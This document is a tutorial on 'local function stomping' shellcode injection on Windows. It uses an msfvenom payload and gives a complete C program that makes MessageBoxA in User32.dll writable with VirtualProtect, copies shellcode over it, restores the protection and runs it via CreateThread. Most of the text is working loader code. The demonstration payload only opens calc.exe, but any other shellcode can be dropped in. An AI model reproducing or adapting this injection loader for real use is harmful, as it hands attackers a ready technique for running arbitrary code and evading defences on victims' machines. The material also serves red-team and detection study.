Local Function Stomping Injection
Function Stomping
Function stomping typically refers to overwriting the code or data of a function with different content in its memory space. This can be done to modify the behavior of the function to run as intended by the programmer.
for our purpose of stomping, we will use MessageBoxA which would be a better choice because this function is not widely used by operating system or other services. As per Microsoft Documentation MessageBoxA is exported using User32.dll
Firstly, we use msfvenom to create our calc shellcode, which we’ll use to overwrite the memory of messageboxA.
msfvenom -p windows/x64/exec CMD=calc.exe -f c
1
2
3
4
5
6
7
8
9
10
11
char shellcode[] =
{ 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50
,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52
,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a
,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41
-------------------<snip> ---------------------------
,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd
,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0
,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff
,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
SIZE_T szshellcode= sizeof(shellcode);
After defining an array for the shellcode, our next step is to obtain the address of MessageBoxA. To do this, we begin by loading User32.dll using the LoadLibraryA function.
1
HMODULE hmodule = LoadLibraryA("User32.dll");
After obtaining the handle to our DLL, we can use GetProcAddress to fetch the address of our exported function.
1
FARPROC Paddress = GetProcAddress(hmodule, "MessageBoxA");
Once we have obtained the address of our target function, we need to adjust the permissions to allow writing to that memory page. This is necessary because MessageBoxA resides in the .text section of user32.dll, where memory permissions are typically set to Execute Read Only.
To enable writing to that address, we can adjust the page protection using the VirtualProtect function with the PAGE_READWRITE protection.
1
2
3
if (!VirtualProtect(Paddress, szshellcode, PAGE_READWRITE, &oldprotection)) {
printf(" virtualprotect failed with errorno %d\\n", GetLastError());
}
After successfully changing the permissions to ReadWrite, we can then copy our shellcode, generated from msfvenom, to the address of MessageBoxA simply by using memcpy
1
memcpy(Paddress, shellcode, szshellcode);
Now, we can revert the page permissions back to their original state, which was Execute Read, using VirtualProtect.
1
VirtualProtect(Paddress, szshellcode, PAGE_EXECUTE_READ, &oldprotection);
Afterwards, we can use the CreateThread function to create a new thread that calls the MessageBoxA function, which in turn executes our calc shellcode
1
CreateThread(NULL, NULL, Paddress, NULL, NULL, NULL);
The complete code appears as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
BOOL stomper(FARPROC Paddress, char* shellcode, SIZE_T szshellcode) {
DWORD oldprotection = NULL;
//changing page permission
if (!VirtualProtect(Paddress, szshellcode, PAGE_READWRITE, &oldprotection)) {
printf("virtualprotect ReadWrite failed with errorno %d\\n", GetLastError());
return FALSE;
}
//copy shellcode to stomping function address (MessageboxA)
memcpy(Paddress, shellcode, szshellcode);
//changing page permission to original
if (!VirtualProtect(Paddress, szshellcode, PAGE_EXECUTE_READ, &oldprotection)) {
printf("virtualprotect Execute_Read failed with errorno %d\\n", GetLastError());
return FALSE;
}
return TRUE;
}
int main() {
FARPROC Paddress;
HMODULE hmodule;
char shellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50
,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52
-------------------<snip>------------------------
,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0
,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff
,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
hmodule = LoadLibraryA("User32.dll");
if (hmodule == NULL) {
printf("cannot get handlue to the module\\n");
goto end;
}
Paddress = GetProcAddress(hmodule, "MessageBoxA");
if (Paddress == NULL) {
printf("cannot get handle to MessageBoxA\\n");
goto end;
}
printf("The address of MessageboxA is 0x%p\\n", Paddress);
if (stomper(Paddress, shellcode, sizeof(shellcode))) {
printf("Shellcode successfully injected.\\n");
}
else {
printf("Shellcode injection failed.\\n");
goto end;
}
//create a thread to execute calc shellcode
HANDLE hThread = CreateThread(NULL, NULL, Paddress, NULL, NULL, NULL);
if (hThread == NULL) {
printf("CreateThread failed with error %d\\n", GetLastError());
goto end;
}
end:
printf("Press Enter to exit: ");
getchar();
}
EXECUTION
Getting address of MessageBoxA.
Before changing the permission of the page where messageboxA lies i.e. on .text section.
After changing the page permission to Read write.
Before overwriting the messageboxA with shellcode
After writing the shellcode
Completing the Execution